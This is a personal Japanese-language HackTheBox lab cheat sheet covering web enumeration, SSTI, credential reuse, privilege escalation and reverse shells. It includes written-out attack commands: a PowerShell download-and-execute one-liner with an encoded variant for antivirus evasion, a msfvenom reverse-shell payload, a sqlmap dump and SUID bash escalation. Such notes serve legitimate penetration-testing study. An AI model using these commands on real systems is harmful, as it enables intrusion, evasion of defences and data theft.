HackTheBox 自分用メモ

# http/https
+ `/etc/hosts`にでも設定して、machineと同名のホスト名でアクセスできるようにする、ドメインは.htb
  + timelapseならtimelapse.htb
+ どういうサイトか調べる
  + 攻撃対象として想定されている機能以外実装されていないことが多いので、動作する機能を掘り下げる
+ 何かしらの機能やダウンロードできる情報などが見つからないならサブドメインやディレクトリを探索する
  + dirb, ffuf, gobuster
  + サブドメインでアクセスしないと見れないサービスが動いてることがある
  + ページ中に記載されていたりする
  + .gitやCHANGELOG.txtなど意図せず公開されている体で情報があることがある
  + 管理者用のログイン画面や専用のページなんかが公開されている場合がある
  + httpsなら証明書からサブドメインがわかることがある
+ CMSが使われているなら、有名な脆弱性や情報漏洩があるときがあるのでスキャンツールで調べる、msfとか
  + バージョン情報が得られるとCVEとか探しやすい
  + wpscan
+ ディレクトリトラバーサルがあったときは設定ファイルや、バックエンドのソースコードなどを探すと進展があるかもしれない
  + Databaseへの接続情報が見つかることがある、その認証情報でホストにログインできることもあればログインしたあとで使うこともある
  + `/proc/<pid>/cmdline`などからプロセス情報を得ることができる
	+ そこで見つかったプログラムにRCEがあったりする
  + フィルタリングなどで阻まれるときは回避できないか試す、独自実装の場合などでわざと漏れがあるようにされていることがある
+ ログイン機能があり、独自実装ならセッションハイジャックなどの脆弱性があることがある
  + Cookieやセッション管理の方法を確認する
+ ファイルアップロード機能があるなら、リバースシェルを設置できないか検討する
+ 一時的なメールアドレスを付与するような機能があったら、それを使ってアカウントの登録機能に流用できることがある
  + 場合によっては存在しないアドレスで登録完了する場合もある
+ サポート機能とかお問い合わせ機能とか、動かないときもあるが動くときもある、とりあえず試す
+ 内部チャットや内部リポジトリなどにアクセスできる場合、センシティブな情報が配置されてることがある
+ なんらかの既存のソフトウェアが使われている場合はバージョンや設定をチェックし、CVEを探す
+ Webアプリのフレームワークが使われているときはSSTIを試す、だいたいflaskが使われてる気がする
  + flask: `${{3*3}}`
+ 裏で動いていそうなプログラムを予想するのも大事、画像変換機能ならImageMagickとか
  + エラーメッセージがヒントになることがある、わざとバグるような入力を常に試す
+ あらゆる入力でfuzzingすべき
  + httpリクエストでjsonを送る箇所にコマンドインジェクションがあったりする
+ XSSは使えなさそうだけど実際に動作したかのようにエミュレートされてたりするので試す
+ 通常phpのソースコードは読めないが、拡張子が.bakなどに変更されていたり、任意ファイル読み込みができると読める

# JWT
+ secretを手に入れて偽のトークンを作るやつがある
+ トークンの検証するサーバーの設定ごと書き換えて任意のトークンを生成できる

# php
+ `php://`というスキームがある?
  
# Docker
+ `172.17.0.1`が常にホスト側のIPらしい?
+ `mount /dev/sda* /mnt`とかでroot権限で全てのファイルにアクセスできる場合がある
  
# exploit
+ できるだけちゃんと動作を確認する
  + exploitが作られた時期によっては更新されて微妙に挙動が変わっていてそのままだと動かないこともある
  + 理解のためにも

# Database
+ 設定ファイルなどにパスワードが記載されている場合がある
  + そのパスワードがそのまま他のユーザのパスになっていることもある
+ データベースの中にAdminのパスワードや他のユーザのパスワードが保存されていることがある
  + そのパスワードが使い回されているときもある
  
# command injection
+ lsとかだと空ディレクトリのときに出力がなくて気付かないことがあるから注意、idとかにする
  
# ssh
+ バックアップなどからsshの秘密鍵を見つけられることがある
  + `.ssh`は隠しフォルダなので、気付かないとかあるので気を付ける
+ 任意ファイルへの書き込みができればsshの鍵を書き込んでログインできたりする
  
# プロセス
+ pspy

# git
+ pre-commitとかgitのコマンドにスクリプトをフックできる
  + git自体はroot権限で動作しているときに、より低い権限でスクリプトを作成できれば権限昇格できる
+ logで遡るとセンシティブな情報がcommitされたログがあったり、別ブランチに情報があったり、ログは削除されているが.git中に含まれている場合があったりする

# パスワード
+ hashが見つかったらとりあえずrockyou使ってみる
  + クラックするのが想定されている場合たいていrockyouのものが使われている
	+ たまにクラックできないrockyouがあるので注意
+ 認証情報を見つけたらとりあえず全てのログインできる箇所で試す
+ デフォルトパスワードはとりあえず試す
+ ユーザーネームとパスワードが一緒かどうかとりあえず試す

# プロキシ
+ リモートホストを経由してスキャンをかけたりしたいとき
  + `ssh -N -L 1234:127.0.0.1:1234 development@10.10.10.228`
  + `python2 sqlmap.py -u 'http://localhost:1234/index.php' --data="method=select&username=administrator&table=passwords" -p 'method,username,table' --dump`
	+ port 1234にsqlmapをかける例
+ proxychains, chisel

# Linux 権限昇格
+ `linpeas.sh`使う
+ `sudo -l`などでsuid付きのスクリプトなどを探し、任意コード実行やコマンドインジェクションで権限昇格できることがある
  + htbではほぼ最低限のコマンドやサービスしか入ってないので、なんか変なの入ってたらだいたいそこに脆弱性がある
  + `find / -perm -u=s -type f 2>/dev/null`でも探せる
+ shebangなどの指定の仕方や、スクリプトファイル中でのコマンドの指定によってはPATHの設定などによって実際に呼び出すコマンドを誤魔化せる
+ 書き込みができるファイルがroot権限で実行されることがある
+ `chmod u+s /bin/bash`でroot権限のbashを起動できる場合がある
  + 実効ユーザーとしてbashを起動するには`/bin/bash -p`
+ なんらかのコマンドなどが実行されるのにあわせて実行されるようなフック機能があることがある
+ [GTFObins](https://gtfobins.github.io/)、権限昇格やファイル読み書きなどに使えるコマンドリスト
+ sudoの脆弱性は結構ある、バージョンを調べる

# Windowsホスト特有の話
+ AppLockerに制限をかけられていることがある
  + バイパス: `powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7:8080/exploit.ps1')`
  + アンチウイルスが動いてるときはコマンドなどをエンコードすると回避できるときがある
	+ `powershell -EncodedCommand SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuNzo4MDgwL2V4cGxvaXQucHMxJyk=`
+ 権限設定によっては常にSYSTEM権限でインストールできたり色々あるけど分からん
+ SNMPでプロセスが露出するやつがあった
+ SMBではAnonymous、パスワードなしでログインできるようになっているときがある

# リバースシェル
+ `msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.49 LPORT=53 -f exe -o rev.exe`
+ [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-openbsd)

# リバースシェルの挙動を改善
```bash
remote > script /dev/null -c bash # c-z
local > stty raw -echo; fg
remote > reset
remote > xterm
remote > export TERM=xterm
remote > export SHELL=bash
```